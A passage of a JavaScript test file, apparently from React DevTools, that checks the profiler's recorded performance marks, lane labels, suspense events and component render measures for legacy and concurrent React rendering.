Scheduler.log('layout 2 mount');\n            return () => {\n              Scheduler.log('layout 2 unmount');\n            };\n          }, []);\n\n          React.useEffect(() => {\n            Scheduler.log('passive 2 mount');\n            return () => {\n              Scheduler.log('passive 2 unmount');\n            };\n          }, []);\n\n          React.useEffect(() => {\n            Scheduler.log('passive 3 mount');\n            return () => {\n              Scheduler.log('passive 3 unmount');\n            };\n          }, []);\n\n          return null;\n        }\n\n        const unmount = modernRender(<ComponentWithEffects />);\n\n        await waitForPaint(['layout 1 mount', 'layout 2 mount']);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--schedule-render-32\",\n            \"--render-start-32\",\n            \"--component-render-start-ComponentWithEffects\",\n            \"--component-render-stop\",\n            \"--render-stop\",\n            \"--commit-start-32\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--layout-effects-start-32\",\n            \"--component-layout-effect-mount-start-ComponentWithEffects\",\n            \"--component-layout-effect-mount-stop\",\n            \"--component-layout-effect-mount-start-ComponentWithEffects\",\n            \"--component-layout-effect-mount-stop\",\n            \"--layout-effects-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n\n        eraseRegisteredMarks();\n\n        await waitForAll([\n          'passive 1 mount',\n          'passive 2 mount',\n          'passive 3 mount',\n        ]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n                  [\n                    \"--passive-effects-start-32\",\n                    \"--component-passive-effect-mount-start-ComponentWithEffects\",\n                    \"--component-passive-effect-mount-stop\",\n                    \"--component-passive-effect-mount-start-ComponentWithEffects\",\n                    \"--component-passive-effect-mount-stop\",\n                    \"--component-passive-effect-mount-start-ComponentWithEffects\",\n                    \"--component-passive-effect-mount-stop\",\n                    \"--passive-effects-stop\",\n                  ]\n              `);\n\n        eraseRegisteredMarks();\n\n        await waitForAll([]);\n\n        unmount();\n\n        assertLog([\n          'layout 1 unmount',\n          'layout 2 unmount',\n          'passive 1 unmount',\n          'passive 2 unmount',\n          'passive 3 unmount',\n        ]);\n\n        expect(registeredMarks).toMatchInlineSnapshot(`\n          [\n            \"--schedule-render-2\",\n            \"--render-start-2\",\n            \"--render-stop\",\n            \"--commit-start-2\",\n            \"--react-version-<filtered-version>\",\n            \"--profiler-version-1\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n            \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n            \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n            \"--component-layout-effect-unmount-start-ComponentWithEffects\",\n            \"--component-layout-effect-unmount-stop\",\n            \"--component-layout-effect-unmount-start-ComponentWithEffects\",\n            \"--component-layout-effect-unmount-stop\",\n            \"--layout-effects-start-2\",\n            \"--layout-effects-stop\",\n            \"--passive-effects-start-2\",\n            \"--component-passive-effect-unmount-start-ComponentWithEffects\",\n            \"--component-passive-effect-unmount-stop\",\n            \"--component-passive-effect-unmount-start-ComponentWithEffects\",\n            \"--component-passive-effect-unmount-stop\",\n            \"--component-passive-effect-unmount-start-ComponentWithEffects\",\n            \"--component-passive-effect-unmount-stop\",\n            \"--passive-effects-stop\",\n            \"--commit-stop\",\n          ]\n        `);\n      });\n    });\n\n    describe('lane labels', () => {\n      describe('with legacy render', () => {\n        const {render: legacyRender} = getLegacyRenderImplementation();\n\n        // @reactVersion <= 18.2\n        // @reactVersion >= 18.0\n        it('regression test SyncLane', () => {\n          utils.act(() => store.profilerStore.startProfiling());\n          legacyRender(<div />);\n          utils.act(() => store.profilerStore.stopProfiling());\n\n          expect(registeredMarks).toMatchInlineSnapshot(`\n            [\n              \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n              \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n              \"--schedule-render-1\",\n              \"--render-start-1\",\n              \"--render-stop\",\n              \"--commit-start-1\",\n              \"--react-version-<filtered-version>\",\n              \"--profiler-version-1\",\n              \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n              \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n              \"--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen\",\n              \"--layout-effects-start-1\",\n              \"--layout-effects-stop\",\n              \"--commit-stop\",\n            ]\n          `);\n        });\n      });\n\n      describe('with createRoot()', () => {\n        let waitForAll;\n\n        beforeEach(() => {\n          const InternalTestUtils = require('internal-test-utils');\n          waitForAll = InternalTestUtils.waitForAll;\n        });\n\n        const {render: modernRender} = getModernRenderImplementation();\n\n        it('regression test DefaultLane', () => {\n          modernRender(<div />);\n          expect(registeredMarks).toMatchInlineSnapshot(`\n                      [\n                        \"--schedule-render-32\",\n                      ]\n                  `);\n        });\n\n        it('regression test InputDiscreteLane', async () => {\n          const targetRef = React.createRef(null);\n\n          function App() {\n            const [count, setCount] = React.useState(0);\n            const handleClick = () => {\n              setCount(count + 1);\n            };\n            return <button ref={targetRef} onClick={handleClick} />;\n          }\n\n          modernRender(<App />);\n          await waitForAll([]);\n\n          eraseRegisteredMarks();\n\n          targetRef.current.click();\n\n          // Wait a frame, for React to process the \"click\" update.\n          await Promise.resolve();\n\n          expect(registeredMarks).toMatchInlineSnapshot(`\n            [\n              \"--schedule-state-update-2-App\",\n              \"--render-start-2\",\n              \"--component-render-start-App\",\n              \"--component-render-stop\",\n              \"--render-stop\",\n              \"--commit-start-2\",\n              \"--react-version-<filtered-version>\",\n              \"--profiler-version-1\",\n              \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n              \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n              \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n              \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n              \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n              \"--layout-effects-start-2\",\n              \"--layout-effects-stop\",\n              \"--commit-stop\",\n            ]\n          `);\n        });\n\n        it('regression test InputContinuousLane', async () => {\n          const targetRef = React.createRef(null);\n\n          function App() {\n            const [count, setCount] = React.useState(0);\n            const handleMouseOver = () => setCount(count + 1);\n            return <div ref={targetRef} onMouseOver={handleMouseOver} />;\n          }\n\n          modernRender(<App />);\n          await waitForAll([]);\n\n          eraseRegisteredMarks();\n\n          const event = document.createEvent('MouseEvents');\n          event.initEvent('mouseover', true, true);\n          dispatchAndSetCurrentEvent(targetRef.current, event);\n\n          await waitForAll([]);\n\n          expect(registeredMarks).toMatchInlineSnapshot(`\n            [\n              \"--schedule-state-update-8-App\",\n              \"--render-start-8\",\n              \"--component-render-start-App\",\n              \"--component-render-stop\",\n              \"--render-stop\",\n              \"--commit-start-8\",\n              \"--react-version-<filtered-version>\",\n              \"--profiler-version-1\",\n              \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n              \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n              \"--react-internal-module-start-  at filtered (<anonymous>:0:0)\",\n              \"--react-internal-module-stop-  at filtered (<anonymous>:1:1)\",\n              \"--react-lane-labels-SyncHydrationLane,Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen,Deferred\",\n              \"--layout-effects-start-8\",\n              \"--layout-effects-stop\",\n              \"--commit-stop\",\n            ]\n          `);\n        });\n      });\n    });\n  });\n\n  describe('DevTools hook (in memory)', () => {\n    let getBatchOfWork;\n    let stopProfilingAndGetTimelineData;\n\n    beforeEach(() => {\n      getBatchOfWork = index => {\n        const timelineData = stopProfilingAndGetTimelineData();\n        if (timelineData) {\n          if (timelineData.batchUIDToMeasuresMap.size > index) {\n            return Array.from(timelineData.batchUIDToMeasuresMap.values())[\n              index\n            ];\n          }\n        }\n\n        return null;\n      };\n\n      stopProfilingAndGetTimelineData = () => {\n        utils.act(() => store.profilerStore.stopProfiling());\n\n        const timelineData = store.profilerStore.profilingData?.timelineData;\n\n        if (timelineData) {\n          expect(timelineData).toHaveLength(1);\n\n          // normalize the location for component stack source\n          // for snapshot testing\n          timelineData.forEach(data => {\n            data.schedulingEvents.forEach(event => {\n              if (event.componentStack) {\n                event.componentStack = normalizeCodeLocInfo(\n                  event.componentStack,\n                );\n              }\n            });\n          });\n\n          return timelineData[0];\n        } else {\n          return null;\n        }\n      };\n    });\n\n    describe('when profiling', () => {\n      describe('with legacy render', () => {\n        const {render: legacyRender} = getLegacyRenderImplementation();\n\n        beforeEach(() => {\n          utils.act(() => store.profilerStore.startProfiling());\n        });\n\n        // @reactVersion <= 18.2\n        // @reactVersion >= 18.0\n        it('should mark sync render without suspends or state updates', () => {\n          legacyRender(<div />);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000000001\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n\n        // @reactVersion <= 18.2\n        // @reactVersion >= 18.0\n        it('should mark sync render that throws', async () => {\n          jest.spyOn(console, 'error').mockImplementation(() => {});\n\n          class ErrorBoundary extends React.Component {\n            state = {error: null};\n            componentDidCatch(error) {\n              this.setState({error});\n            }\n            render() {\n              Scheduler.unstable_advanceTime(10);\n              if (this.state.error) {\n                Scheduler.unstable_yieldValue('ErrorBoundary fallback');\n                return null;\n              }\n              Scheduler.unstable_yieldValue('ErrorBoundary render');\n              return this.props.children;\n            }\n          }\n\n          function ExampleThatThrows() {\n            Scheduler.unstable_yieldValue('ExampleThatThrows');\n            throw Error('Expected error');\n          }\n\n          legacyRender(\n            <ErrorBoundary>\n              <ExampleThatThrows />\n            </ErrorBoundary>,\n          );\n\n          expect(Scheduler.unstable_clearYields()).toEqual([\n            'ErrorBoundary render',\n            'ExampleThatThrows',\n            'ExampleThatThrows',\n            'ErrorBoundary fallback',\n          ]);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"ErrorBoundary\",\n                          \"duration\": 10,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ExampleThatThrows\",\n                          \"duration\": 0,\n                          \"timestamp\": 20,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ErrorBoundary\",\n                          \"duration\": 10,\n                          \"timestamp\": 20,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000000001\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"ErrorBoundary\",\n                          \"componentStack\": \"\n                          in ErrorBoundary (at **)\",\n                          \"lanes\": \"0b0000000000000000000000000000001\",\n                          \"timestamp\": 20,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.thrownErrors).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"ExampleThatThrows\",\n                          \"message\": \"Expected error\",\n                          \"phase\": \"mount\",\n                          \"timestamp\": 20,\n                          \"type\": \"thrown-error\",\n                        },\n                      ]\n                  `);\n        });\n\n        // @reactVersion <= 18.2\n        // @reactVersion >= 18.0\n        it('should mark sync render with suspense that resolves', async () => {\n          let resolveFn;\n          let resolved = false;\n          const suspensePromise = new Promise(resolve => {\n            resolveFn = () => {\n              resolved = true;\n              resolve();\n            };\n          });\n\n          function Example() {\n            Scheduler.unstable_yieldValue(resolved ? 'resolved' : 'suspended');\n            if (!resolved) {\n              throw suspensePromise;\n            }\n            return null;\n          }\n\n          legacyRender(\n            <React.Suspense fallback={null}>\n              <Example />\n            </React.Suspense>,\n          );\n\n          expect(Scheduler.unstable_clearYields()).toEqual(['suspended']);\n\n          Scheduler.unstable_advanceTime(10);\n          resolveFn();\n          await suspensePromise;\n\n          await Scheduler.unstable_flushAllWithoutAsserting();\n          expect(Scheduler.unstable_clearYields()).toEqual(['resolved']);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n\n          // Verify the Suspense event and duration was recorded.\n          expect(timelineData.suspenseEvents).toHaveLength(1);\n          const suspenseEvent = timelineData.suspenseEvents[0];\n          expect(suspenseEvent).toMatchInlineSnapshot(`\n            {\n              \"componentName\": \"Example\",\n              \"depth\": 0,\n              \"duration\": 0,\n              \"id\": \"0\",\n              \"phase\": \"mount\",\n              \"promiseName\": \"\",\n              \"resolution\": \"unresolved\",\n              \"timestamp\": 10,\n              \"type\": \"suspense\",\n              \"warning\": null,\n            }\n          `);\n\n          // There should be two batches of renders: Suspeneded and resolved.\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          expect(timelineData.componentMeasures).toHaveLength(2);\n        });\n\n        // @reactVersion = 18.2\n        it('should mark sync render with suspense that rejects', async () => {\n          let rejectFn;\n          let rejected = false;\n          const suspensePromise = new Promise((resolve, reject) => {\n            rejectFn = () => {\n              rejected = true;\n              reject(new Error('error'));\n            };\n          });\n\n          function Example() {\n            Scheduler.unstable_yieldValue(rejected ? 'rejected' : 'suspended');\n            if (!rejected) {\n              throw suspensePromise;\n            }\n            return null;\n          }\n\n          legacyRender(\n            <React.Suspense fallback={null}>\n              <Example />\n            </React.Suspense>,\n          );\n\n          expect(Scheduler.unstable_clearYields()).toEqual(['suspended']);\n\n          Scheduler.unstable_advanceTime(10);\n          rejectFn();\n          await expect(suspensePromise).rejects.toThrow();\n\n          expect(Scheduler.unstable_clearYields()).toEqual(['rejected']);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n\n          // Verify the Suspense event and duration was recorded.\n          expect(timelineData.suspenseEvents).toHaveLength(1);\n          const suspenseEvent = timelineData.suspenseEvents[0];\n          expect(suspenseEvent).toMatchInlineSnapshot(`\n            {\n              \"componentName\": \"Example\",\n              \"depth\": 0,\n              \"duration\": 0,\n              \"id\": \"0\",\n              \"phase\": \"mount\",\n              \"promiseName\": \"\",\n              \"resolution\": \"unresolved\",\n              \"timestamp\": 10,\n              \"type\": \"suspense\",\n              \"warning\": null,\n            }\n          `);\n\n          // There should be two batches of renders: Suspeneded and resolved.\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          expect(timelineData.componentMeasures).toHaveLength(2);\n        });\n      });\n\n      describe('with createRoot()', () => {\n        let waitFor;\n        let waitForAll;\n        let waitForPaint;\n        let assertLog;\n\n        beforeEach(() => {\n          const InternalTestUtils = require('internal-test-utils');\n          waitFor = InternalTestUtils.waitFor;\n          waitForAll = InternalTestUtils.waitForAll;\n          waitForPaint = InternalTestUtils.waitForPaint;\n          assertLog = InternalTestUtils.assertLog;\n        });\n\n        const {render: modernRender} = getModernRenderImplementation();\n\n        beforeEach(() => {\n          utils.act(() => store.profilerStore.startProfiling());\n        });\n\n        it('should mark concurrent render without suspends or state updates', () => {\n          utils.act(() => modernRender(<div />));\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n\n        it('should mark concurrent render without suspends with state updates', () => {\n          let updaterFn;\n\n          function Example() {\n            const setHigh = React.useState(0)[1];\n            const setLow = React.useState(0)[1];\n\n            updaterFn = () => {\n              React.startTransition(() => {\n                setLow(prevLow => prevLow + 1);\n              });\n              setHigh(prevHigh => prevHigh + 1);\n            };\n\n            Scheduler.unstable_advanceTime(10);\n\n            return null;\n          }\n\n          utils.act(() => modernRender(<Example />));\n          utils.act(() => store.profilerStore.stopProfiling());\n          utils.act(() => store.profilerStore.startProfiling());\n          utils.act(updaterFn);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"Example\",\n                          \"componentStack\": \"\n                          in Example (at **)\",\n                          \"lanes\": \"0b0000000000000000000000010000000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"componentStack\": \"\n                          in Example (at **)\",\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 0,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n        });\n\n        it('should mark render yields', async () => {\n          function Bar() {\n            Scheduler.log('Bar');\n            return null;\n          }\n\n          function Foo() {\n            Scheduler.log('Foo');\n            return <Bar />;\n          }\n\n          React.startTransition(() => {\n            modernRender(<Foo />);\n          });\n\n          // Do one step of work.\n          await waitFor(['Foo']);\n\n          // Finish flushing so React commits;\n          // Unless we do this, the ProfilerStore won't collect Profiling data.\n          await waitForAll(['Bar']);\n\n          // Since we yielded, the batch should report two separate \"render\" chunks.\n          const batch = getBatchOfWork(0);\n          expect(batch.filter(({type}) => type === 'render')).toHaveLength(2);\n        });\n\n        it('should mark concurrent render with suspense that resolves', async () => {\n          let resolveFn;\n          let resolved = false;\n          const suspensePromise = new Promise(resolve => {\n            resolveFn = () => {\n              resolved = true;\n              resolve();\n            };\n          });\n\n          function Example() {\n            Scheduler.log(resolved ? 'resolved' : 'suspended');\n            if (!resolved) {\n              throw suspensePromise;\n            }\n            return null;\n          }\n\n          modernRender(\n            <React.Suspense fallback={null}>\n              <Example />\n            </React.Suspense>,\n          );\n\n          await waitForAll([\n            'suspended',\n            // pre-warming\n            'suspended',\n          ]);\n\n          Scheduler.unstable_advanceTime(10);\n          resolveFn();\n          await suspensePromise;\n\n          await waitForAll(['resolved']);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n\n          // Verify the Suspense event and duration was recorded.\n          expect(timelineData.suspenseEvents).toMatchInlineSnapshot(`\n              [\n                {\n                  \"componentName\": \"Example\",\n                  \"depth\": 0,\n                  \"duration\": 10,\n                  \"id\": \"0\",\n                  \"phase\": \"mount\",\n                  \"promiseName\": \"\",\n                  \"resolution\": \"resolved\",\n                  \"timestamp\": 10,\n                  \"type\": \"suspense\",\n                  \"warning\": null,\n                },\n                {\n                  \"componentName\": \"Example\",\n                  \"depth\": 0,\n                  \"duration\": 10,\n                  \"id\": \"0\",\n                  \"phase\": \"mount\",\n                  \"promiseName\": \"\",\n                  \"resolution\": \"resolved\",\n                  \"timestamp\": 10,\n                  \"type\": \"suspense\",\n                  \"warning\": null,\n                },\n              ]\n            `);\n\n          // There should be two batches of renders: Suspeneded and resolved.\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          // An additional measure with pre-warming\n          expect(timelineData.componentMeasures).toHaveLength(3);\n        });\n\n        it('should mark concurrent render with suspense that rejects', async () => {\n          let rejectFn;\n          let rejected = false;\n          const suspensePromise = new Promise((resolve, reject) => {\n            rejectFn = () => {\n              rejected = true;\n              reject(new Error('error'));\n            };\n          });\n\n          function Example() {\n            Scheduler.log(rejected ? 'rejected' : 'suspended');\n            if (!rejected) {\n              throw suspensePromise;\n            }\n            return null;\n          }\n\n          modernRender(\n            <React.Suspense fallback={null}>\n              <Example />\n            </React.Suspense>,\n          );\n\n          await waitForAll(['suspended', 'suspended']);\n\n          Scheduler.unstable_advanceTime(10);\n          rejectFn();\n          await expect(suspensePromise).rejects.toThrow();\n\n          await waitForAll(['rejected']);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n\n          // Verify the Suspense event and duration was recorded.\n          expect(timelineData.suspenseEvents).toMatchInlineSnapshot(`\n              [\n                {\n                  \"componentName\": \"Example\",\n                  \"depth\": 0,\n                  \"duration\": 10,\n                  \"id\": \"0\",\n                  \"phase\": \"mount\",\n                  \"promiseName\": \"\",\n                  \"resolution\": \"rejected\",\n                  \"timestamp\": 10,\n                  \"type\": \"suspense\",\n                  \"warning\": null,\n                },\n                {\n                  \"componentName\": \"Example\",\n                  \"depth\": 0,\n                  \"duration\": 10,\n                  \"id\": \"0\",\n                  \"phase\": \"mount\",\n                  \"promiseName\": \"\",\n                  \"resolution\": \"rejected\",\n                  \"timestamp\": 10,\n                  \"type\": \"suspense\",\n                  \"warning\": null,\n                },\n              ]\n            `);\n\n          // There should be two batches of renders: Suspeneded and resolved.\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          // An additional measure with pre-warming\n          expect(timelineData.componentMeasures).toHaveLength(3);\n        });\n\n        it('should mark cascading class component state updates', async () => {\n          class Example extends React.Component {\n            state = {didMount: false};\n            componentDidMount() {\n              this.setState({didMount: true});\n            }\n            render() {\n              Scheduler.unstable_advanceTime(10);\n              Scheduler.log(this.state.didMount ? 'update' : 'mount');\n              return null;\n            }\n          }\n\n          modernRender(<Example />);\n\n          await waitForPaint(['mount', 'update']);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 20,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"componentStack\": \"\n                          in Example (at **)\",\n                          \"lanes\": \"0b0000000000000000000000000000010\",\n                          \"timestamp\": 20,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n\n        it('should mark cascading class component force updates', async () => {\n          let forced = false;\n          class Example extends React.Component {\n            componentDidMount() {\n              forced = true;\n              this.forceUpdate();\n            }\n            render() {\n              Scheduler.unstable_advanceTime(10);\n              Scheduler.log(forced ? 'force update' : 'mount');\n              return null;\n            }\n          }\n\n          modernRender(<Example />);\n\n          await waitForPaint(['mount', 'force update']);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 20,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"lanes\": \"0b0000000000000000000000000000010\",\n                          \"timestamp\": 20,\n                          \"type\": \"schedule-force-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n\n        it('should mark render phase state updates for class component', async () => {\n          class Example extends React.Component {\n            state = {didRender: false};\n            render() {\n              if (this.state.didRender === false) {\n                this.setState({didRender: true});\n              }\n              Scheduler.unstable_advanceTime(10);\n              Scheduler.log(\n                this.state.didRender ? 'second render' : 'first render',\n              );\n              return null;\n            }\n          }\n\n          modernRender(<Example />);\n\n          let errorMessage;\n          jest.spyOn(console, 'error').mockImplementation(message => {\n            errorMessage = message;\n          });\n\n          await waitForAll(['first render', 'second render']);\n\n          expect(console.error).toHaveBeenCalledTimes(1);\n          expect(errorMessage).toContain(\n            'Cannot update during an existing state transition',\n          );\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 20,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"componentStack\": \"\n                          in Example (at **)\",\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-state-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n\n        it('should mark render phase force updates for class component', async () => {\n          let forced = false;\n          class Example extends React.Component {\n            render() {\n              Scheduler.unstable_advanceTime(10);\n              Scheduler.log(forced ? 'force update' : 'render');\n              if (!forced) {\n                forced = true;\n                this.forceUpdate();\n              }\n              return null;\n            }\n          }\n\n          modernRender(<Example />);\n\n          let errorMessage;\n          jest.spyOn(console, 'error').mockImplementation(message => {\n            errorMessage = message;\n          });\n\n          await waitForAll(['render', 'force update']);\n\n          expect(console.error).toHaveBeenCalledTimes(1);\n          expect(errorMessage).toContain(\n            'Cannot update during an existing state transition',\n          );\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 20,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n          expect(timelineData.schedulingEvents).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 10,\n                          \"type\": \"schedule-render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"lanes\": \"0b0000000000000000000000000100000\",\n                          \"timestamp\": 20,\n                          \"type\": \"schedule-force-update\",\n                          \"warning\": null,\n                        },\n                      ]\n                  `);\n        });\n\n        it('should mark cascading layout updates', async () => {\n          function Example() {\n            const [didMount, setDidMount] = React.useState(false);\n            React.useLayoutEffect(() => {\n              Scheduler.unstable_advanceTime(1);\n              setDidMount(true);\n            }, []);\n            Scheduler.unstable_advanceTime(10);\n            Scheduler.log(didMount ? 'update' : 'mount');\n            return didMount;\n          }\n\n          modernRender(<Example />);\n\n          await waitForAll(['mount', 'update']);\n\n          const timelineData = stopProfilingAndGetTimelineData();\n          expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);\n          expect(timelineData.componentMeasures).toMatchInlineSnapshot(`\n                      [\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 10,\n                          \"timestamp\": 10,\n                          \"type\": \"render\",\n                          \"warning\": null,\n                        },\n                        {\n                          \"componentName\": \"Example\",\n                          \"duration\": 1,\n                          